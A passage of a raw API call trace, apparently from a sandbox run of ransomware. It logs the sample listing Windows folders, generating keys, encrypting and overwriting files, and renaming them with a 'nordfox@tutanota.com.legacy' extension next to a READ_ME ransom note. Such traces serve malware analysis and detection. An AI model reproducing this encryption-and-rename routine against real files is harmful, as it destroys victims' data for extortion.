(lpFileName="\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x62c [0113.860] GetFileSizeEx (in: hFile=0x62c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=380) returned 1 [0113.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17c) returned 0x571fc8 [0113.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17c) returned 0x5646a8 [0113.860] ReadFile (in: hFile=0x62c, lpBuffer=0x571fc8, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x17c, lpOverlapped=0x0) returned 1 [0113.861] SetFilePointer (in: hFile=0x62c, lDistanceToMove=-380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.861] WriteFile (in: hFile=0x62c, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17c, lpOverlapped=0x0) returned 1 [0113.862] SetFilePointer (in: hFile=0x62c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17c [0113.862] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.862] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.862] WriteFile (in: hFile=0x62c, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.862] WriteFile (in: hFile=0x62c, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.863] CloseHandle (hObject=0x62c) returned 1 [0113.863] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0113.863] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0113.863] MoveFileExW (lpExistingFileName="\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), lpNewFileName="\\Users\\Public\\Videos\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\videos\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0113.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0113.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0113.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0113.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0113.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0113.867] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\amd64\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd2be7223, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6198 [0113.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.867] GetLastError () returned 0x0 [0113.867] SetLastError (dwErrCode=0x0) [0113.867] GetLastError () returned 0x0 [0113.868] SetLastError (dwErrCode=0x0) [0113.868] GetLastError () returned 0x0 [0113.868] SetLastError (dwErrCode=0x0) [0113.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0113.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0113.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0113.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0113.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6018 [0113.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6018 | out: hHeap=0x520000) returned 1 [0113.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0113.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0113.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0113.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0113.868] FindNextFileW (in: hFindFile=0x5c6198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd2be7223, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0113.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.868] GetLastError () returned 0x0 [0113.868] SetLastError (dwErrCode=0x0) [0113.868] GetLastError () returned 0x0 [0113.868] SetLastError (dwErrCode=0x0) [0113.868] GetLastError () returned 0x0 [0113.868] SetLastError (dwErrCode=0x0) [0113.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0113.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0113.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0113.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0113.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6758 [0113.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6758 | out: hHeap=0x520000) returned 1 [0113.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0113.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0113.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0113.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0113.869] FindNextFileW (in: hFindFile=0x5c6198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39b5b0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39b5b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x16ebc, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="BiosBlocks.xml", cAlternateFileName="BIOSBL~1.XML")) returned 1 [0113.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.869] GetLastError () returned 0x0 [0113.869] SetLastError (dwErrCode=0x0) [0113.869] GetLastError () returned 0x0 [0113.869] SetLastError (dwErrCode=0x0) [0113.869] GetLastError () returned 0x0 [0113.869] SetLastError (dwErrCode=0x0) [0113.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0113.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0113.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0113.869] FindNextFileW (in: hFindFile=0x5c6198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39c8ec, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39c8ec, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x11daf, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hwcompat.txt", cAlternateFileName="")) returned 1 [0113.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0113.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0113.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0113.870] GetLastError () returned 0x0 [0113.870] SetLastError (dwErrCode=0x0) [0113.870] GetLastError () returned 0x0 [0113.870] SetLastError (dwErrCode=0x0) [0113.870] GetLastError () returned 0x0 [0113.870] SetLastError (dwErrCode=0x0) [0113.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0113.870] FindNextFileW (in: hFindFile=0x5c6198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39dcc9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39dcc9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x90d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hwexclude.txt", cAlternateFileName="HWEXCL~1.TXT")) returned 1 [0113.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0113.870] GetLastError () returned 0x0 [0113.870] SetLastError (dwErrCode=0x0) [0113.870] GetLastError () returned 0x0 [0113.870] SetLastError (dwErrCode=0x0) [0113.870] GetLastError () returned 0x0 [0113.870] SetLastError (dwErrCode=0x0) [0113.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0113.870] FindNextFileW (in: hFindFile=0x5c6198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39eff9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39eff9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x26b6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="nxquery.cat", cAlternateFileName="")) returned 1 [0113.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.871] GetLastError () returned 0x0 [0113.871] SetLastError (dwErrCode=0x0) [0113.871] GetLastError () returned 0x0 [0113.871] SetLastError (dwErrCode=0x0) [0113.871] GetLastError () returned 0x0 [0113.871] SetLastError (dwErrCode=0x0) [0113.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0113.871] FindNextFileW (in: hFindFile=0x5c6198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a3e27, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a3e27, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="nxquery.inf", cAlternateFileName="")) returned 1 [0113.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0113.871] GetLastError () returned 0x0 [0113.871] SetLastError (dwErrCode=0x0) [0113.871] GetLastError () returned 0x0 [0113.871] SetLastError (dwErrCode=0x0) [0113.871] GetLastError () returned 0x0 [0113.871] SetLastError (dwErrCode=0x0) [0113.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0113.871] FindNextFileW (in: hFindFile=0x5c6198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a652e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a652e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x50b0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NXQuery.sys", cAlternateFileName="")) returned 1 [0113.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0113.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0113.871] GetLastError () returned 0x0 [0113.871] SetLastError (dwErrCode=0x0) [0113.871] GetLastError () returned 0x0 [0113.872] SetLastError (dwErrCode=0x0) [0113.872] GetLastError () returned 0x0 [0113.872] SetLastError (dwErrCode=0x0) [0113.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0113.872] FindNextFileW (in: hFindFile=0x5c6198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2be7223, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2be7223, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2c0d41d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0113.872] GetLastError () returned 0x0 [0113.872] SetLastError (dwErrCode=0x0) [0113.872] GetLastError () returned 0x0 [0113.872] SetLastError (dwErrCode=0x0) [0113.872] GetLastError () returned 0x0 [0113.872] SetLastError (dwErrCode=0x0) [0113.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0113.872] FindNextFileW (in: hFindFile=0x5c6198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2be7223, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2be7223, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2c0d41d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0113.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0113.872] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\NXQuery.sys", dwFileAttributes=0x80) returned 1 [0113.876] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0113.876] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\NXQuery.sys" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0113.876] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20656) returned 1 [0113.877] ReadFile (in: hFile=0x630, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x50b0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x50b0, lpOverlapped=0x0) returned 1 [0113.879] SetFilePointer (in: hFile=0x630, lDistanceToMove=-20656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.879] WriteFile (in: hFile=0x630, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x50b0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50b0, lpOverlapped=0x0) returned 1 [0113.879] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0113.879] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0113.880] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50b0 [0113.880] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.880] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.880] WriteFile (in: hFile=0x630, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.880] WriteFile (in: hFile=0x630, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.880] CloseHandle (hObject=0x630) returned 1 [0113.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0113.881] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\NXQuery.sys" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.sys"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\NXQuery.sys.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.sys.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7a10 | out: hHeap=0x520000) returned 1 [0113.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0113.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0113.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0113.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0113.882] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.882] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0113.882] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.inf", dwFileAttributes=0x80) returned 1 [0113.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0113.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e81f8 [0113.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0113.883] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0113.883] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1495) returned 1 [0113.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5d7) returned 0x582160 [0113.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5d7) returned 0x582740 [0113.883] ReadFile (in: hFile=0x630, lpBuffer=0x582160, nNumberOfBytesToRead=0x5d7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x5d7, lpOverlapped=0x0) returned 1 [0113.911] SetFilePointer (in: hFile=0x630, lDistanceToMove=-1495, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.911] WriteFile (in: hFile=0x630, lpBuffer=0x582740*, nNumberOfBytesToWrite=0x5d7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582740*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5d7, lpOverlapped=0x0) returned 1 [0113.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0113.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582740 | out: hHeap=0x520000) returned 1 [0113.912] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5d7 [0113.912] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.912] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.912] WriteFile (in: hFile=0x630, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.912] WriteFile (in: hFile=0x630, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.912] CloseHandle (hObject=0x630) returned 1 [0113.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0113.913] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81f8 | out: hHeap=0x520000) returned 1 [0113.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0113.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0113.914] RtlAllocateHeap (HeapHandle=0x520000, 